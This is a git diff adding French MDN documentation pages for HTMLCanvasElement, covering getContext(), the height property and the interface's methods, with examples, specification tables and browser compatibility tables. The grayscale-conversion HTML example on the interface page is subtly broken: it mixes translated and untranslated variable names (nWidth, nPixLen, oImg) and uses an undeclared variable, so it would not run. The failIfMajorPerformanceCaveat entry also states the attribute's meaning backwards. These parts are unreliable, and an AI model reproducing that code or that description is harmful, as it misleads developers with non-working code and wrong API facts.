+<p>La méthode <strong><code>HTMLCanvasElement.getContext()</code></strong> retourne un contexte de dessin sur le canevas, ou {{jsxref("null")}} si l'identificateur de contexte n'est pas supporté.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>canvas</em>.getContext(typeDeC<em>ontexte, attributsDeContexte</em>);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>typeDeContexte</dt>
+ <dd>Est un {{domxref("DOMString")}} contenant l'identifcateur de contexte définissant le contexte de dessin associé au canevas. Les valeurs possibles sont :
+ <ul>
+  <li><code>"2d</code>", conduisant à la création d'un objet {{domxref("CanvasRenderingContext2D")}} représentant un contexte de représentation bi-dimensionnel.</li>
+  <li><code>"webgl"</code> (ou <code>"experimental-webgl"</code>) pour créer un objet {{domxref("WebGLRenderingContext")}} représentant un contexte de représentation tri-dimensionnel. Ce contexte est seulement disponible sur les navigateurs implémentant la version 1 de <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> (OpenGL ES 2.0).</li>
+  <li>"<code>webgl2</code>" pour créer un objet {{domxref("WebGL2RenderingContext")}} représentant un contexte de représentation tri-dimensionnel. Ce contexte est seulement disponible sur les navigateurs implémentant la version 2 de <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> (OpenGL ES 3.0). {{experimental_inline}}.</li>
+  <li><code>"bitmaprenderer"</code> pour créer un {{domxref("ImageBitmapRenderingContext")}} ne fournissant que la fonctionnalité de remplacement du contenu du canevas par une {{domxref("ImageBitmap")}} donnée.</li>
+ </ul>
+
+ <p>Note : l'identificateur "<code>experimental-webgl</code>" est utilisé dans les nouvelles implémentations de WebGL. Ces implémentations n'ont pas encore obtenu la conformité à la suite de test, ou l'emploi des pilotes graphiques sur la plateforme n'est pas encore stable. Le <a href="https://www.khronos.org/">Khronos Group</a> certifie les implémentations WebGL sous certaines <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">règles de conformité</a>.</p>
+ </dd>
+ <dt><code>attributsDeContexte</code></dt>
+ <dd>
+ <p>Vous pouvez utiliser plusieurs attributs de contexte quand vous créez votre contexte de représentation, par exemple :</p>
+
+ <pre class="brush: js">canvas.getContext('webgl',
+                 { antialias: false,
+                   depth: false });</pre>
+ attributs de contexte 2d :
+
+ <ul>
+  <li><strong><code>alpha </code></strong>: booléen indiquant que le canevas contient un canal alpha. Si positionné à <code>false</code>, le navigateur saura ainsi que l'arrière-plan est toujours opaque, ce qui peut alors accélérer le dessin de contenus et d'images transparents.</li>
+  <li>{{non-standard_inline}} (Gecko seulement) <strong><code>willReadFrequently </code></strong>: booléen indiquant si de nombreuses opérations de relecture sont prévues ou non. Cela forcera l'utilisation d'un canevas 2D logiciel (au lieu d'un canevas accéléré matériellement) et peut faire économiser de la mémoire lors d'appels fréquents à {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Cette option est seulement disponible si l'indicateur <code>gfx.canvas.willReadFrequently.enable</code> est positionné à <code>true</code> (ce qui, par défaut, est seulement le cas pour B2G/Firefox OS).</li>
+  <li>{{non-standard_inline}} (Blink seulement) <strong><code>storage </code></strong>: chaîne indiquant quel stockage est utilisé ("persistent" par défaut).</li>
+ </ul>
+ attributs de contexte WebGL :
+
+ <ul>
+  <li><strong><code>alpha </code></strong>: booléen indiquant que le canevas contient un tampon alpha.</li>
+  <li><strong><code>depth </code></strong>: booléen indiquant que le tampon de dessin a un tampon de profondeur d'au moins 16 bits.</li>
+  <li><strong><code>stencil </code></strong>: booléen indiquant que le tampon de dessin a un tampon stencil d'au moins 8 bits.</li>
+  <li><strong><code>antialias </code></strong>: booléen indiquant si un anti-aliasing doit être effectué ou non.</li>
+  <li><strong><code>premultipliedAlpha </code></strong>: booléen indiquant que le composeur de page supposera que le tampon de dessin contient des couleurs avec alpha pré-multiplié.</li>
+  <li><strong><code>preserveDrawingBuffer </code></strong>: si la valeur est is true, les tampons ne seront pas effacés et conserveront leurs valeurs jusqu'à ce qu'elles soient effacées ou réécrites par l'auteur.</li>
+  <li>
+   <p><code><strong>failIfMajorPerformanceCaveat</strong></code><strong><code> </code></strong>: booléen indiquant qu'un contexte sera créé si la performance du système est faible.</p>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée :</h3>
+
+<p>Un {{domxref("RenderingContext")}}, qui est soit un</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}} pour <code>"2d"</code>,</li>
+ <li>{{domxref("WebGLRenderingContext")}} pour <code>"webgl"</code> et <code>"experimental-webgl"</code>,</li>
+ <li>{{domxref("WebGL2RenderingContext")}} pour <code>"webgl2"</code> ou</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} pour <code>"bitmaprenderer"</code>.</li>
+</ul>
+
+<p>Si le <em>typeDeContexte</em> ne correspond pas à un contexte de dessin possible, <code>null</code> est retourné.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Étant donné l'élément {{HTMLElement("canvas")}} :</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>vous pouvez obtenir un contexte 2d du canevas grâce au code suivant :</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+console.log(ctx); // CanvasRenderingContext2D { ... }
+</pre>
+
+<p>Vous avez alors le <a href="/en-US/docs/Web/API/CanvasRenderingContext2D">contexte 2D de représentation</a> pour un canevas, et vous pouvez dessiner à l'intérieur.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis l'instantané le plus récent, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Instantané du {{SpecName('HTML WHATWG')}} contenant la définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base (contexte 2d)</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(9)}}</td>
+   <td>{{CompatSafari(3.1)}}</td>
+  </tr>
+  <tr>
+   <td>Contexte <code>webgl</code></td>
+   <td>{{CompatChrome(9)}}<sup>[1]</sup><br>
+    {{CompatChrome(33)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop('24')}}</td>
+   <td>11.0<sup>[2]</sup></td>
+   <td>9.0<sup>[3]</sup></td>
+   <td>5.1<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Contexte <code>webgl2</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop('25')}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Attribut de contexte <code>alpha </code>2d</td>
+   <td>32</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>A</code>ttribut <code>failIfMajorPerformanceCaveat</code></p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Contexte bitmaprenderer</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base (contexte 2d)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Contexte <code>webgl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Contexte <code>webgl2</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Attribut de contexte <code>alpha </code>2d</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>A</code>ttribut <code>failIfMajorPerformanceCaveat</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Contexte bitmaprenderer</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 9 et Gecko 1.9.2 l'implémentaient initialement comme <code>-webgl</code> <code>expérimental</code>. Depuis Chrome 33 et Gecko 24, ils l'implémentent comme <code>webgl</code> standard.</p>
+
+<p>[2] Internet Explorer 11, WebKit 5.1 et Firefox Mobile l'implémentaient comme <code>-webgl</code> <code>expérimental</code>.</p>
+
+<p>[3] Opera 9 l'implémentait comme <code>-webgl</code> <code>expérimental</code> via une préférence utilisateur, dans la version 15.0, la préférence utilisateur a été supprimée.</p>
+
+<p>[4] Gecko 25 l'implémentait comme "<code>-webgl2</code> <code>expérimental</code>" via la préférence utilisateur <code>webgl.enable-prototype-webgl2</code>. A partir de Gecko 42, la chaîne "webgl2" est utilisée via la même préférence, et "experimental-webgl2" n'est plus accepté.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("OffscreenCanvas.getContext()")}}.</li>
+ <li>Contextes de représentation disponibles : {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} et {{domxref("WebGL2RenderingContext")}} et {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
diff --git a/files/fr/web/api/htmlcanvaselement/height/index.html b/files/fr/web/api/htmlcanvaselement/height/index.html
new file mode 100644
index 0000000000..f5bc9c8e2a
--- /dev/null
+++ b/files/fr/web/api/htmlcanvaselement/height/index.html
@@ -0,0 +1,77 @@
+---
+title: HTMLCanvasElement.height
+slug: Web/API/HTMLCanvasElement/height
+tags:
+  - API
+  - Canvas
+  - HTMLCanvasElement
+  - Propriété
+translation_of: Web/API/HTMLCanvasElement/height
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>La propriété <strong><code><span>HTMLCanvasElement.height</span></code></strong> est un entier positif reflétant l'attribut HTML {{htmlattrxref("height", "canvas")}} de l'élément {{HTMLElement("canvas")}} mesuré en pixels CSS. Quand cet attribut n'est pas spécifié, ou si on lui affecte une valeur invalide, telle que négative, la valeur par défaut de <code>150</code> is utilisée.</p>
+
+<p>C'est l'une des deux propriétés, l'autre étant {{domxref("HTMLCanvasElement.width")}}, qui contrôlent la taille du canevas.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>canvas</em></var>.height;
+<em>canvas</em>.height = <em>pxl</em>;
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Étant donné cet élément {{HTMLElement("canvas")}} :</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>vous pouvez obtenir la hauteur du canevas avec le code suivant :</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+console.log(canvas.height); // 300
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis l'instantané le plus récent, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Instantané du {{SpecName('HTML WHATWG')}} contenant la définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.HTMLCanvasElement.height")}}</p>
+<h2 id="See_Also" name="See_Also">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>L'autre propriété contrôlant la taille du canevas, {{domxref("HTMLCanvasElement.width")}}.</li>
+</ul>
diff --git a/files/fr/web/api/htmlcanvaselement/index.html b/files/fr/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..d87b8022f5
--- /dev/null
+++ b/files/fr/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,361 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+tags:
+  - Canvas
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>{{ApiRef}}</div>
+
+<p>L'interface <strong><code><span>HTMLCanvasElement</span></code></strong> fournit un ensemble de propriétés et de méthodes pour manipuler la disposition et la représentation des éléments canvas. L'interface <code>HTMLCanvasElement</code> hérite également des propriétés et des méthodes de l'interface {{domxref("HTMLElement")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Propriétés hérités de son parent, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>height</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Représente l'attribut HTML {{htmlattrxref("height", "canvas")}}, qui spécifie la hauteur de l'espace des coordonnées en pixels CSS.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Représente l'attribut HTML {{htmlattrxref("width", "canvas")}}, qui spécifie la largeur de l'espace des coordonnées en pixels CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Méthodes héritées de son parent, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom &amp; arguments</th>
+   <th scope="col">Résultat</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>getContext(in {{domxref("DOMString")}} contextId)</code></td>
+   <td>{{domxref("RenderingContext")}}</td>
+   <td>Renvoie un contexte de dessin sur le canvas, ou null si l'ID de contexte n'est pas supporté. Un contexte de dessin vous permet de dessiner sur le canvas. Appeler getContext avec <code>"2d"</code> renvoie un object {{domxref("CanvasRenderingContext2D")}}, alors que l'appeler avec <code>"experimental-webgl"</code> (ou <code>"webgl"</code>) renvoie un objet {{domxref("WebGLRenderingContext")}} . Ce dernier contexte n'est disponible que dans les navigateur qui implémentent <a href="/en-US/docs/Web/WebGL">WebGL</a>.</td>
+  </tr>
+  <tr>
+   <td><code>supportsContext()</code> {{experimental_inline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Renvoie une valeur {{domxref("Boolean")}} indiquant si le contexte donné est supporté par ce canvas.</td>
+  </tr>
+  <tr>
+   <td><em><code>setContext()</code></em> {{experimental_inline}}</td>
+   <td><code>void</code></td>
+   <td>Chnage de contexte de l'élément en rapport avec celui fourni.</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{domxref("CanvasProxy")}}</td>
+   <td>Retourne un mandataire pour autoriser le canvas à être utilisé dans un autre {{domxref("Worker")}}.</td>
+  </tr>
+  <tr>
+   <td><code>toDataURL</code>(in optional {{domxref("DOMString")}} type, in any ...args)</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Renvoie une <code>data:</code> URL contenant une représentation de l'image au format spécifié par l'argument <code>type</code> (PNG par défaut). L'image renvoyée est en 96dpi.
+    <ul>
+     <li>Si la hauteur ou la largeur du canvas est <code>0</code>, <code>"data:,</code>" représentant une chaîne vide, est renvoyée.</li>
+     <li>Si le format demandé n'est pas <code>image/png</code>, mais que la valeur renvoyée commence par <code>data:image/png</code>, alors le format demandé n'est pas supporté.</li>
+     <li>Chrome supporte le format <code>image/webp</code>.</li>
+     <li>Si le format demandé est <code>image/jpeg </code>ou <code>image/webp</code>, alors le second argument, s'il est compris entre <code>0.0</code> et <code>1.0</code>, est considéré comme une indication de la qualité d'image ; si le second argument est n'importe quoi d'autre, la valeur par défaut pour la qualité est utilisé. Les autres arguments sont ignorés.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>toDataURLHD()</code>{{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Renvoie une <code>data:</code> URL contenant une représentation de l'image au format spécifié par <code>type</code> (PNG par défaut). L'image renvoyée est à la résolution native du canvas.
+    <ul>
+     <li>Si la hauteur ou la largeur du canvas est <code>0</code>, <code>"data:,</code>" représentant une chaîne vide, est renvoyée.</li>
+     <li>Si le format demandé n'est pas <code>image/png</code>, mais que la valeur renvoyée commence par <code>data:image/png</code>, alors le format demandé n'est pas supporté.</li>
+     <li>Chrome supporte le format <code>image/webp</code>.</li>
+     <li>Si le format demandé est <code>image/jpeg </code>ou <code>image/webp</code>, alors le second argument, s'il est compris entre <code>0.0</code> et <code>1.0</code>, est considéré comme une indication de la qualité d'image ; si le second argument est n'importe quoi d'autre, la valeur par défaut pour la qualité est utilisé. Les autres arguments sont ignorés.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>toBlob</code>(in FileCallback callback, in optional {{domxref("DOMString")}} type, in any ...args)</td>
+   <td><code>void</code></td>
+   <td>Renvoie un objet {{domxref("Blob")}} représentant l'image contenue dans le canvas ; ce fichier peut être mis en cache sur le disque ou stocké en mémoire au choix du navigateur. Si <code>type</code> n'est pas précisé, le format de l'image est <code>image/png</code>. L'image renvoyée est en 96dpi.</td>
+  </tr>
+  <tr>
+   <td><code>toBlobHD</code>(in FileCallback callback, in optional {{domxref("DOMString")}} type, in any ...args) {{experimental_inline}}</td>
+   <td><code>void</code></td>
+   <td>Renvoie un objet {{domxref("Blob")}} représentant l'image contenue dans le canvas ; ce fichier peut être mis en cache sur le disque ou stocké en mémoire au choix du navigateur. Si <code>type</code> n'est pas précisé, le format de l'image est <code>image/png</code>. L'image renvoyée est à la résolution native du canvas.</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile</code>(in {{domxref("DOMString")}} name, in optional {{domxref("DOMString")}} type) {{non-standard_inline}}</td>
+   <td>{{domxref("File")}}</td>
+   <td>Renvoie un objet {{domxref("File")}} représentant l'image contenue dans le canvas ; ce fichier est en mémoire avec le <code>nom</code> précisé. Si <code>type</code> n'est pas précisé, le fotmat de l'image est <code>image/png</code>.</td>
+  </tr>
+  <tr>
+   <td><code>void mozFetchAsStream(in {{interface("nsIInputStreamCallback")}} callback, [optional] in DOMString type)</code> {{non-standard_inline}}</td>
+   <td><code>void</code></td>
+   <td>Crée un nouveau flux d'entrée qui, quand il est prêt, fournit le contenu du canvas en tant que données d'image. Quand le nouveau flux est prêt, la fonction de rappel spécifiée {{ifmethod("nsIInputStreamCallback", "onInputStreamReady")}} est appelée. Si <code>type</code> n'est pas précisée, Le format de l'image est <code>image/png.</code>
+    <div class="note"><strong>Note:</strong> Cette méthode ne peut être utilisée que depuis le code chrome.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_Obtenir_la_data-url_du_canvas">Example: Obtenir la data-url du canvas</h3>
+
+<p>D'abord, dessinez dans le canvas, ensuite appelez <code>canvas.toDataURL()</code> pour obtenir la data: URL du canvas.</p>
+
+<pre class="brush: js">function test() {
+ var canvas = document.getElementById("canvas");
+ var url = canvas.toDataURL();
+
+ var nouvelleImg = document.createElement("img");
+ nouvelleImg.src = url;
+ document.body.appendChild(nouvelleImg);
+}
+</pre>
+
+<h3 id="Example_Obtenir_un_fichier_représentant_le_canvas">Example: Obtenir un fichier représentant le canvas</h3>
+
+<p>Une fois que vous avez dessiné du contenu dans un canvas, vous pouvez le convertir dans un fichier avec l'un des formats supportés. Par exemple, l'extrait de code ci-dessous récupère l'image contenue dans l'élément canvas avec l'ID "canvas", en effectue une copie au format PNG, puis ajoute un nouvel élément {{HTMLElement("img")}} au document, dont l'image source est celle créée en utilisant le canvas.</p>
+
+<pre class="brush: js">function test() {
+  var canvas = document.getElementById("canvas");
+  canvas.toBlob(function(blob) {
+    var nouvelleImg = document.createElement("img"),
+        url = URL.createObjectURL(blob);
+    nouvelleImg.onload = function() {
+      // Il n'est plus nécessaire de lire le blob, il est donc révoqué
+      URL.revokeObjectURL(url);
+    };
+    nouvelleImg.src = url;
+    document.body.appendChild(nouvelleImg);
+  });
+}</pre>
+
+<p>Vous pouvez utiliser cette technique en association avec les événemments de souris pour effectuer un changement d'images dynamique (niveau de gris et couleur dans cet exemple) :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDC Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function afficherImageCouleur() {
+  this.style.display = "none";
+  this.nextSibling.style.display = "inline";
+}
+
+function afficherImageGrise() {
+  this.previousSibling.style.display = "inline";
+  this.style.display = "none";
+}
+
+function supprimerCouleurs() {
+  var aImages = document.getElementsByClassName("grayscale"),
+      nImgsLong = aImages.length,
+      oCanvas = document.createElement("canvas"),
+      oCtx = oCanvas.getContext("2d");
+  for (var nLargeur, nHauteur, oImgData, oImgGrise, nPixel, aPix, nPixLong, nImgId = 0; nImgId &lt; nImgsLong; nImgId++) {
+    oImgCouleur = aImages[nImgId];
+    nLargeur = oImgCouleur .offsetWidth;
+    nHauteur = oImgCouleur .offsetHeight;
+    oCanvas.width = nWidth;
+    oCanvas.height = nHeight;
+    oCtx.drawImage(oImgCouleur , 0, 0);
+    oImgData = oCtx.getImageData(0, 0, nLargeur, nHauteur);
+    aPix = oImgData.data;
+    nPixLong = aPix.length;
+    for (nPixel = 0; nPixel &lt; nPixLen; nPixel += 4) {
+      aPix[nPixel + 2] = aPix[nPixel + 1] = aPix[nPixel] = (aPix[nPixel] + aPix[nPixel + 1] + aPix[nPixel + 2]) / 3;
+    }
+    oCtx.putImageData(oImgData, 0, 0);
+    oImgGrise = new Image();
+    oImg.src = oCanvas.toDataURL();
+    oImgGrise.onmouseover = afficherImageCouleur;
+    oImgCouleur.onmouseout = afficherImageGrise;
+    oCtx.clearRect(0, 0, nLargeur, nHauteur);
+    oImgCouleur.style.display = "none";
+    oImgCouleur.parentNode.insertBefore(oImgGrise , oImgCouleur);
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="supprimerCouleurs();"&gt;
+&lt;p&gt;&lt;img class="grayscale" src="chagall.jpg" alt="" /&gt;&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Remarquez qu'ici nous créons une image PNG ; si vous ajoutez un second paramètre à l'appel de <code>toBlob()</code>, vous pouvez spécifier le type d'image. Par exemple, pour obtenir l'image au format JPEG :</p>
+
+<pre class="brush: js"> canvas.toBlob(function(blob){...}, "image/jpeg", 0.95); // JPEG avec une qualité de 95%</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "embedded-content-0.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>La méthode <code>getContext()</code> retourne un {{domxref("RenderingContext")}} au lieu d'un <code>object</code> opaque.<br>
+    Les méthodes <code>supportsContext()</code>, <code>setContext()</code>, <code>transferControlToProxy()</code>, <code>toDataURLHD()</code>, <code>toBlobURLHD()</code> ont été ajoutées.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "the-canvas-element.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Support_par_les_navigateurs">Support par les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Fonctionnalité de base</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop('3.6')}}</td>
+   <td>9.0</td>
+   <td>9.0 [1]</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>{{CompatGeckoDesktop('3.6')}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>toBlobHD()</code>, <code>toDataURLHD()</code>, <code>supportsContext()</code>, <code>setContext()</code>, <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
